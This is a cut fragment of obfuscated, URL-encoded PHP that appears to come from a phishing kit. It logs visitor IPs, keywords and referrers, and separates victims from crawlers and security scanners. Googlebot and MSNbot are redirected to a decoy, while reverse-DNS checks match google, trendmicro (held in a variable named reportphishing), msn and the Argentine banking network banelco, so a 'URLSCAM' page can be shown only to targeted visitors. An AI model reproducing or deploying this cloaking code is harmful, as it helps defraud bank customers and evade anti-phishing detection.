2f%62%3e%22%3b%0d%0a%09%24%74%6f%64%6f%6f%6b%20%2e%3d%28%24%74%69%70%6f%63%6f%6e%63%6f%72%64%61%6e%63%69%61%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%54%49%50%4f%20%44%45%20%43%4f%4e%43%4f%52%44%41%4e%43%49%41%3a%22%2e%40%24%74%69%70%6f%63%6f%6e%63%6f%72%64%61%6e%63%69%61%3b%09%20%20%0d%0a%09%24%74%6f%64%6f%6f%6b%20%2e%3d%28%24%74%69%70%6f%64%65%72%65%64%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%54%49%50%4f%20%44%45%20%52%45%44%3a%22%2e%40%24%74%69%70%6f%64%65%72%65%64%3b%09%20%20%0d%0a%09%24%74%6f%64%6f%6f%6b%20%2e%3d%28%24%74%69%70%6f%64%69%73%70%6f%73%69%74%69%76%6f%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%54%49%50%4f%20%44%45%20%44%49%53%50%4f%53%49%54%49%56%4f%3a%22%2e%40%24%74%69%70%6f%64%69%73%70%6f%73%69%74%69%76%6f%3b%20%20%0d%0a%09%24%74%6f%64%6f%6f%6b%20%2e%3d%28%24%70%6f%63%69%73%69%6f%6e%61%6e%75%6e%63%69%6f%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%50%4f%43%49%53%49%4f%4e%20%44%45%4c%20%41%4e%55%4e%43%49%4f%3a%22%2e%40%24%70%6f%63%69%73%69%6f%6e%61%6e%75%6e%63%69%6f%3b%0d%0a%09%24%74%6f%64%6f%6f%6b%20%2e%3d%28%52%45%46%45%52%45%52%20%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%52%45%46%45%52%45%52%3a%20%22%2e%52%45%46%45%52%45%52%3b%0d%0a%09%24%74%6f%64%6f%6f%6b%20%2e%3d%28%55%52%4c%53%43%41%4d%20%3d%3d%20%22%22%29%20%3f%20%22%3c%62%72%3e%4e%4f%20%43%4f%4e%54%49%45%4e%45%20%55%52%4c%42%4f%54%22%20%3a%20%22%6e%55%52%4c%20%44%45%53%54%49%4e%4f%3a%22%2e%55%52%4c%53%43%41%4d%3b%09%0d%0a%09%24%74%6f%64%6f%6f%6b%20%2e%3d%28%24%74%61%72%67%65%74%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%54%41%52%47%45%54%3a%22%2e%24%74%61%72%67%65%74%3b%09%09%09%20%20%0d%0a%09%24%74%6f%64%6f%6f%6b%20%2e%3d%28%24%68%6f%73%74%6e%61%6d%65%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%48%4f%53%54%4e%41%4d%45%3a%22%2e%40%24%68%6f%73%74%6e%61%6d%65%3b%20%0d%0a%09%24%74%6f%64%6f%6f%6b%20%2e%3d%09%22%3c%62%72%3e%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%3c%62%72%3e%3c%62%72%3e%22%3b%0d%0a%09%09%09%20%20%0d%0a%09%24%6e%61%76%65%67%61%64%6f%72%65%73%75%6e%62%6f%74%20%3d%20%22%3c%62%72%3e%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%3c%62%72%3e%45%4c%20%4e%41%56%45%47%41%44%4f%52%20%45%53%20%55%4e%20%42%4f%54%21%21%21%22%3b%0d%0a%09%24%6e%61%76%65%67%61%64%6f%72%65%73%75%6e%62%6f%74%20%2e%3d%20%28%24%63%72%65%61%74%69%76%65%31%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%49%44%20%41%4e%55%4e%43%49%4f%3a%20%41%4e%55%4e%43%49%4f%2d%49%44%2d%22%2e%24%63%72%65%61%74%69%76%65%31%3b%0d%0a%09%24%6e%61%76%65%67%61%64%6f%72%65%73%75%6e%62%6f%74%20%2e%3d%20%28%24%69%70%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%49%50%3a%20%22%2e%24%69%70%3b%0d%0a%09%24%6e%61%76%65%67%61%64%6f%72%65%73%75%6e%62%6f%74%20%2e%3d%20%28%24%48%6f%72%61%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%20%2d%2d%2d%20%20%20%20%48%4f%52%41%3a%22%2e%24%48%6f%72%61%3b%0d%0a%09%24%6e%61%76%65%67%61%64%6f%72%65%73%75%6e%62%6f%74%20%2e%3d%20%28%24%70%61%6c%61%62%72%61%63%6c%61%76%65%20%3d%3d%20%22%22%29%20%3f%20%22%22%09%3a%20%20%22%3c%62%72%3e%3c%62%3e%50%41%4c%41%42%52%41%20%43%4c%41%56%45%3a%22%2e%40%24%70%61%6c%61%62%72%61%63%6c%61%76%65%2e%22%3c%2f%62%3e%22%3b%0d%0a%09%24%6e%61%76%65%67%61%64%6f%72%65%73%75%6e%62%6f%74%20%2e%3d%20%28%24%74%69%70%6f%63%6f%6e%63%6f%72%64%61%6e%63%69%61%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%54%49%50%4f%20%44%45%20%43%4f%4e%43%4f%52%44%41%4e%43%49%41%3a%22%2e%40%24%74%69%70%6f%63%6f%6e%63%6f%72%64%61%6e%63%69%61%3b%09%09%20%20%0d%0a%09%24%6e%61%76%65%67%61%64%6f%72%65%73%75%6e%62%6f%74%20%2e%3d%20%28%24%74%69%70%6f%64%65%72%65%64%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%54%49%50%4f%20%44%45%20%52%45%44%3a%22%2e%40%24%74%69%70%6f%64%65%72%65%64%3b%0d%0a%09%24%6e%61%76%65%67%61%64%6f%72%65%73%75%6e%62%6f%74%20%2e%3d%20%28%24%74%69%70%6f%64%69%73%70%6f%73%69%74%69%76%6f%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%54%49%50%4f%20%44%45%20%44%49%53%50%4f%53%49%54%49%56%4f%3a%22%2e%40%24%74%69%70%6f%64%69%73%70%6f%73%69%74%69%76%6f%3b%20%09%09%20%20%0d%0a%09%24%6e%61%76%65%67%61%64%6f%72%65%73%75%6e%62%6f%74%20%2e%3d%20%28%24%70%6f%63%69%73%69%6f%6e%61%6e%75%6e%63%69%6f%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%50%4f%43%49%53%49%4f%4e%20%44%45%4c%20%41%4e%55%4e%43%49%4f%3a%22%2e%40%24%70%6f%63%69%73%69%6f%6e%61%6e%75%6e%63%69%6f%3b%0d%0a%09%24%6e%61%76%65%67%61%64%6f%72%65%73%75%6e%62%6f%74%20%2e%3d%20%28%52%45%46%45%52%45%52%20%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%52%45%46%45%52%45%52%3a%20%22%2e%52%45%46%45%52%45%52%3b%20%20%0d%0a%09%24%6e%61%76%65%67%61%64%6f%72%65%73%75%6e%62%6f%74%20%2e%3d%20%28%55%52%4c%42%4f%54%20%3d%3d%20%22%22%29%20%3f%20%22%3c%62%72%3e%4e%4f%20%43%4f%4e%54%49%45%4e%45%20%55%52%4c%42%4f%54%22%20%3a%20%22%3c%62%72%3e%55%52%4c%20%44%45%53%54%49%4e%4f%3a%22%2e%55%52%4c%42%4f%54%3b%0d%0a%09%24%6e%61%76%65%67%61%64%6f%72%65%73%75%6e%62%6f%74%20%2e%3d%20%28%24%74%61%72%67%65%74%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%54%41%52%47%45%54%3a%22%2e%24%74%61%72%67%65%74%3b%09%09%09%20%20%0d%0a%09%24%6e%61%76%65%67%61%64%6f%72%65%73%75%6e%62%6f%74%20%2e%3d%20%28%24%68%6f%73%74%6e%61%6d%65%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%48%4f%53%54%4e%41%4d%45%3a%22%2e%40%24%68%6f%73%74%6e%61%6d%65%3b%20%0d%0a%09%24%6e%61%76%65%67%61%64%6f%72%65%73%75%6e%62%6f%74%20%2e%3d%20%22%3c%62%72%3e%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%3c%62%72%3e%3c%62%72%3e%22%3b%0d%0a%09%0d%0a%09%0d%0a%09%09%09%09%09%09%0d%0a%09%24%63%6f%6e%65%63%74%61%67%6f%6f%67%6c%65%20%3d%20%22%3c%62%72%3e%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%3c%62%72%3e%53%45%20%43%4f%4e%45%43%54%41%20%44%45%53%44%45%20%47%4f%4f%47%4c%45%21%21%21%22%3b%0d%0a%09%24%63%6f%6e%65%63%74%61%67%6f%6f%67%6c%65%20%2e%3d%20%28%24%63%72%65%61%74%69%76%65%31%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%49%44%20%41%4e%55%4e%43%49%4f%3a%20%41%4e%55%4e%43%49%4f%2d%49%44%2d%22%2e%24%63%72%65%61%74%69%76%65%31%3b%0d%0a%09%24%63%6f%6e%65%63%74%61%67%6f%6f%67%6c%65%20%2e%3d%28%24%69%70%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%49%50%3a%20%22%2e%24%69%70%3b%0d%0a%09%24%63%6f%6e%65%63%74%61%67%6f%6f%67%6c%65%20%2e%3d%28%24%48%6f%72%61%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%20%2d%2d%2d%20%20%20%20%48%4f%52%41%3a%22%2e%24%48%6f%72%61%3b%0d%0a%09%24%63%6f%6e%65%63%74%61%67%6f%6f%67%6c%65%20%2e%3d%28%24%70%61%6c%61%62%72%61%63%6c%61%76%65%20%3d%3d%20%22%22%29%20%3f%20%22%22%09%3a%20%20%22%3c%62%72%3e%3c%62%3e%50%41%4c%41%42%52%41%20%43%4c%41%56%45%3a%22%2e%40%24%70%61%6c%61%62%72%61%63%6c%61%76%65%2e%22%3c%2f%62%3e%22%3b%0d%0a%09%24%63%6f%6e%65%63%74%61%67%6f%6f%67%6c%65%20%2e%3d%28%24%74%69%70%6f%63%6f%6e%63%6f%72%64%61%6e%63%69%61%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%54%49%50%4f%20%44%45%20%43%4f%4e%43%4f%52%44%41%4e%43%49%41%3a%22%2e%40%24%74%69%70%6f%63%6f%6e%63%6f%72%64%61%6e%63%69%61%3b%20%09%09%20%20%0d%0a%09%24%63%6f%6e%65%63%74%61%67%6f%6f%67%6c%65%20%2e%3d%28%24%74%69%70%6f%64%65%72%65%64%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%54%49%50%4f%20%44%45%20%52%45%44%3a%22%2e%40%24%74%69%70%6f%64%65%72%65%64%3b%0d%0a%09%24%63%6f%6e%65%63%74%61%67%6f%6f%67%6c%65%20%2e%3d%28%24%74%69%70%6f%64%69%73%70%6f%73%69%74%69%76%6f%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%54%49%50%4f%20%44%45%20%44%49%53%50%4f%53%49%54%49%56%4f%3a%22%2e%40%24%74%69%70%6f%64%69%73%70%6f%73%69%74%69%76%6f%3b%09%09%20%20%0d%0a%09%24%63%6f%6e%65%63%74%61%67%6f%6f%67%6c%65%20%2e%3d%28%24%70%6f%63%69%73%69%6f%6e%61%6e%75%6e%63%69%6f%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%50%4f%43%49%53%49%4f%4e%20%44%45%4c%20%41%4e%55%4e%43%49%4f%3a%22%2e%40%24%70%6f%63%69%73%69%6f%6e%61%6e%75%6e%63%69%6f%3b%0d%0a%09%24%63%6f%6e%65%63%74%61%67%6f%6f%67%6c%65%20%2e%3d%28%52%45%46%45%52%45%52%20%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%52%45%46%45%52%45%52%3a%20%22%2e%52%45%46%45%52%45%52%3b%0d%0a%20%20%20%20%24%63%6f%6e%65%63%74%61%67%6f%6f%67%6c%65%20%2e%3d%28%55%52%4c%42%4f%54%20%20%3d%3d%20%22%22%29%20%3f%20%22%3c%62%72%3e%4e%4f%20%43%4f%4e%54%49%45%4e%45%20%55%52%4c%42%4f%54%22%20%3a%20%22%3c%62%72%3e%55%52%4c%20%44%45%53%54%49%4e%4f%3a%22%2e%55%52%4c%42%4f%54%3b%09%0d%0a%09%24%63%6f%6e%65%63%74%61%67%6f%6f%67%6c%65%20%2e%3d%28%24%74%61%72%67%65%74%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%54%41%52%47%45%54%3a%22%2e%24%74%61%72%67%65%74%3b%09%09%09%20%20%0d%0a%09%24%63%6f%6e%65%63%74%61%67%6f%6f%67%6c%65%20%2e%3d%28%24%68%6f%73%74%6e%61%6d%65%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%48%4f%53%54%4e%41%4d%45%3a%22%2e%40%24%68%6f%73%74%6e%61%6d%65%3b%20%0d%0a%09%24%63%6f%6e%65%63%74%61%67%6f%6f%67%6c%65%20%2e%3d%22%3c%62%72%3e%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%3c%62%72%3e%3c%62%72%3e%22%3b%0d%0a%09%0d%0a%09%09%09%20%0d%0a%09%24%6e%6f%65%73%6e%61%63%69%6f%6e%61%6c%69%64%61%64%20%3d%20%22%3c%62%72%3e%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%3c%62%72%3e%4e%4f%20%45%53%20%44%45%20%4c%41%20%4e%41%43%49%4f%4e%41%4c%49%44%41%44%20%53%45%4c%45%43%43%49%4f%4e%41%44%41%20%22%2e%40%24%6e%61%63%69%6f%6e%61%6c%69%64%61%64%2e%22%21%21%21%22%3b%0d%0a%09%24%6e%6f%65%73%6e%61%63%69%6f%6e%61%6c%69%64%61%64%20%2e%3d%20%20%20%28%24%63%72%65%61%74%69%76%65%31%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%49%44%20%41%4e%55%4e%43%49%4f%3a%20%41%4e%55%4e%43%49%4f%2d%49%44%2d%22%2e%24%63%72%65%61%74%69%76%65%31%3b%0d%0a%09%24%6e%6f%65%73%6e%61%63%69%6f%6e%61%6c%69%64%61%64%20%2e%3d%20%09%28%24%69%70%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%49%50%3a%20%22%2e%24%69%70%3b%0d%0a%09%24%6e%6f%65%73%6e%61%63%69%6f%6e%61%6c%69%64%61%64%20%2e%3d%20%28%24%48%6f%72%61%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%20%2d%2d%2d%20%20%20%20%48%4f%52%41%3a%22%2e%24%48%6f%72%61%3b%0d%0a%09%24%6e%6f%65%73%6e%61%63%69%6f%6e%61%6c%69%64%61%64%20%2e%3d%20%28%24%70%61%6c%61%62%72%61%63%6c%61%76%65%20%3d%3d%20%22%22%29%20%3f%20%22%22%09%3a%20%20%22%3c%62%72%3e%3c%62%3e%50%41%4c%41%42%52%41%20%43%4c%41%56%45%3a%22%2e%40%24%70%61%6c%61%62%72%61%63%6c%61%76%65%2e%22%3c%2f%62%3e%22%3b%0d%0a%09%24%6e%6f%65%73%6e%61%63%69%6f%6e%61%6c%69%64%61%64%20%2e%3d%20%28%24%74%69%70%6f%63%6f%6e%63%6f%72%64%61%6e%63%69%61%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%54%49%50%4f%20%44%45%20%43%4f%4e%43%4f%52%44%41%4e%43%49%41%3a%22%2e%40%24%74%69%70%6f%63%6f%6e%63%6f%72%64%61%6e%63%69%61%3b%09%09%20%20%0d%0a%09%24%6e%6f%65%73%6e%61%63%69%6f%6e%61%6c%69%64%61%64%20%2e%3d%20%28%24%74%69%70%6f%64%65%72%65%64%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%54%49%50%4f%20%44%45%20%52%45%44%3a%22%2e%40%24%74%69%70%6f%64%65%72%65%64%3b%20%09%09%20%20%0d%0a%09%24%6e%6f%65%73%6e%61%63%69%6f%6e%61%6c%69%64%61%64%20%2e%3d%20%28%24%74%69%70%6f%64%69%73%70%6f%73%69%74%69%76%6f%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%54%49%50%4f%20%44%45%20%44%49%53%50%4f%53%49%54%49%56%4f%3a%22%2e%40%24%74%69%70%6f%64%69%73%70%6f%73%69%74%69%76%6f%3b%20%09%09%20%20%0d%0a%09%24%6e%6f%65%73%6e%61%63%69%6f%6e%61%6c%69%64%61%64%20%2e%3d%20%28%24%70%6f%63%69%73%69%6f%6e%61%6e%75%6e%63%69%6f%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%50%4f%43%49%53%49%4f%4e%20%44%45%4c%20%41%4e%55%4e%43%49%4f%3a%22%2e%40%24%70%6f%63%69%73%69%6f%6e%61%6e%75%6e%63%69%6f%3b%0d%0a%09%24%6e%6f%65%73%6e%61%63%69%6f%6e%61%6c%69%64%61%64%20%2e%3d%20%28%52%45%46%45%52%45%52%20%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%52%45%46%45%52%45%52%3a%20%22%2e%52%45%46%45%52%45%52%3b%0d%0a%20%20%20%20%24%6e%6f%65%73%6e%61%63%69%6f%6e%61%6c%69%64%61%64%20%2e%3d%20%28%55%52%4c%42%4f%54%20%20%3d%3d%20%22%22%29%20%3f%20%22%3c%62%72%3e%4e%4f%20%43%4f%4e%54%49%45%4e%45%20%55%52%4c%42%4f%54%22%20%3a%20%22%3c%62%72%3e%55%52%4c%20%44%45%53%54%49%4e%4f%3a%22%2e%55%52%4c%42%4f%54%3b%09%0d%0a%09%24%6e%6f%65%73%6e%61%63%69%6f%6e%61%6c%69%64%61%64%20%2e%3d%20%28%24%74%61%72%67%65%74%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%54%41%52%47%45%54%3a%22%2e%24%74%61%72%67%65%74%3b%09%09%09%20%20%0d%0a%09%24%6e%6f%65%73%6e%61%63%69%6f%6e%61%6c%69%64%61%64%20%2e%3d%20%20%28%24%68%6f%73%74%6e%61%6d%65%20%3d%3d%20%22%22%29%20%3f%20%22%22%20%3a%20%22%3c%62%72%3e%48%4f%53%54%4e%41%4d%45%3a%22%2e%40%24%68%6f%73%74%6e%61%6d%65%3b%20%0d%0a%09%24%6e%6f%65%73%6e%61%63%69%6f%6e%61%6c%69%64%61%64%20%2e%3d%20%09%22%3c%62%72%3e%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%3c%62%72%3e%22%3b%0d%0a%09%0d%0a%0d%0a%0d%0a%09%69%66%28%28%47%4f%4f%47%4c%45%42%4f%54%21%3d%3d%66%61%6c%73%65%29%20%7c%7c%20%28%4d%53%4e%42%4f%54%21%3d%3d%66%61%6c%73%65%29%29%7b%2f%2f%73%65%20%63%6f%6d%70%72%75%65%62%61%20%70%72%69%6d%65%72%6f%20%65%6c%20%6e%61%76%65%67%61%64%6f%72%0d%0a%09%0d%0a%09%09%69%66%28%66%69%6c%65%5f%65%78%69%73%74%73%28%24%61%72%63%68%69%76%6f%64%65%62%75%67%29%29%7b%0d%0a%09%09%0d%0a%09%09%09%09%24%64%65%62%75%67%20%3d%20%66%6f%70%65%6e%28%24%61%72%63%68%69%76%6f%64%65%62%75%67%2c%22%61%2b%22%29%3b%0d%0a%09%09%09%09%66%77%72%69%74%65%28%24%64%65%62%75%67%2c%20%24%6e%61%76%65%67%61%64%6f%72%65%73%75%6e%62%6f%74%29%3b%0d%0a%09%09%09%09%66%63%6c%6f%73%65%28%24%64%65%62%75%67%29%3b%0d%0a%09%09%09%09%2f%2f%20%68%65%61%64%65%72%28%22%48%54%54%50%2f%31%2e%31%20%33%30%31%20%4d%6f%76%65%64%20%50%65%72%6d%61%6e%65%6e%74%6c%79%22%29%3b%0d%0a%09%09%09%09%2f%2f%68%65%61%64%65%72%28%22%4c%6f%63%61%74%69%6f%6e%3a%20%22%2e%55%52%4c%42%4f%54%29%3b%0d%0a%09%09%09%09%70%72%69%6e%74%20%22%3c%68%74%6d%6c%3e%3c%68%65%61%64%3e%3c%2f%68%65%61%64%3e%3c%62%6f%64%79%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%22%2e%55%52%4c%42%4f%54%2e%22%27%3b%3c%2f%73%63%72%69%70%74%3e%3c%2f%62%6f%64%79%3e%3c%2f%68%74%6d%6c%3e%22%3b%0d%0a%09%09%7d%65%6c%73%65%7b%0d%0a%09%09%09%09%09%0d%0a%09%09%09%09%24%64%65%62%75%67%20%3d%20%66%6f%70%65%6e%28%24%61%72%63%68%69%76%6f%64%65%62%75%67%2c%22%61%2b%22%29%3b%0d%0a%09%09%09%09%66%77%72%69%74%65%28%24%64%65%62%75%67%2c%20%22%3c%63%65%6e%74%65%72%3e%3c%68%31%3e%4e%4f%20%4c%4f%20%44%45%4a%45%53%20%4c%4c%45%4e%41%52%20%4d%55%43%48%4f%20%5e%2e%5e%20%50%41%52%43%45%52%4f%21%21%21%21%21%3c%2f%68%31%3e%3c%2f%63%65%6e%74%65%72%3e%3c%62%72%3e%3c%62%72%3e%22%2e%24%6e%61%76%65%67%61%64%6f%72%65%73%75%6e%62%6f%74%29%3b%0d%0a%09%09%09%09%66%63%6c%6f%73%65%28%24%64%65%62%75%67%29%3b%0d%0a%09%09%09%09%09%0d%0a%09%09%09%09%7d%0d%0a%09%7d%65%6c%73%65%7b%0d%0a%0d%0a%09%09%0d%0a%09%09%2f%2f%70%72%69%6e%74%5f%72%28%24%63%6f%75%6e%74%72%79%66%75%6c%6c%29%3b%0d%0a%09%09%0d%0a%09%09%69%66%28%24%63%6f%75%6e%74%72%79%66%75%6c%6c%5b%31%5d%20%3d%3d%20%24%6e%61%63%69%6f%6e%61%6c%69%64%61%64%29%7b%0d%0a%09%09%0d%0a%09%09%09%09%24%64%6e%73%3d%67%65%74%68%6f%73%74%62%79%61%64%64%72%28%24%69%70%29%3b%0d%0a%09%09%09%09%24%67%6f%6f%67%6c%65%62%6f%74%3d%73%74%72%70%6f%73%28%24%64%6e%73%2c%22%67%6f%6f%67%6c%65%22%29%3b%0d%0a%09%09%09%09%24%72%65%70%6f%72%74%70%68%69%73%68%69%6e%67%20%3d%20%73%74%72%70%6f%73%28%24%64%6e%73%2c%20%22%74%72%65%6e%64%6d%69%63%72%6f%22%29%3b%0d%0a%09%09%09%09%24%6d%73%6e%20%3d%20%73%74%72%70%6f%73%28%24%64%6e%73%2c%20%22%6d%73%6e%22%29%3b%0d%0a%09%09%09%09%24%62%61%6e%65%6c%63%6f%20%3d%20%73%74%72%70%6f%73%28%24%64%6e%73%2c%20%22%62%61%6e%65%6c%63%6f%22%29%3b%0d%0a%09%09%09%2f%2f%70%72%69%6e%74%20%22%65%73%20%75%6e%61%20%70%65%72%73%6f%6e%61%22%3b%0d%0a%09%09%09%09%20%69%66%28%28%24%67%6f%6f%67%6c%65%62%6f%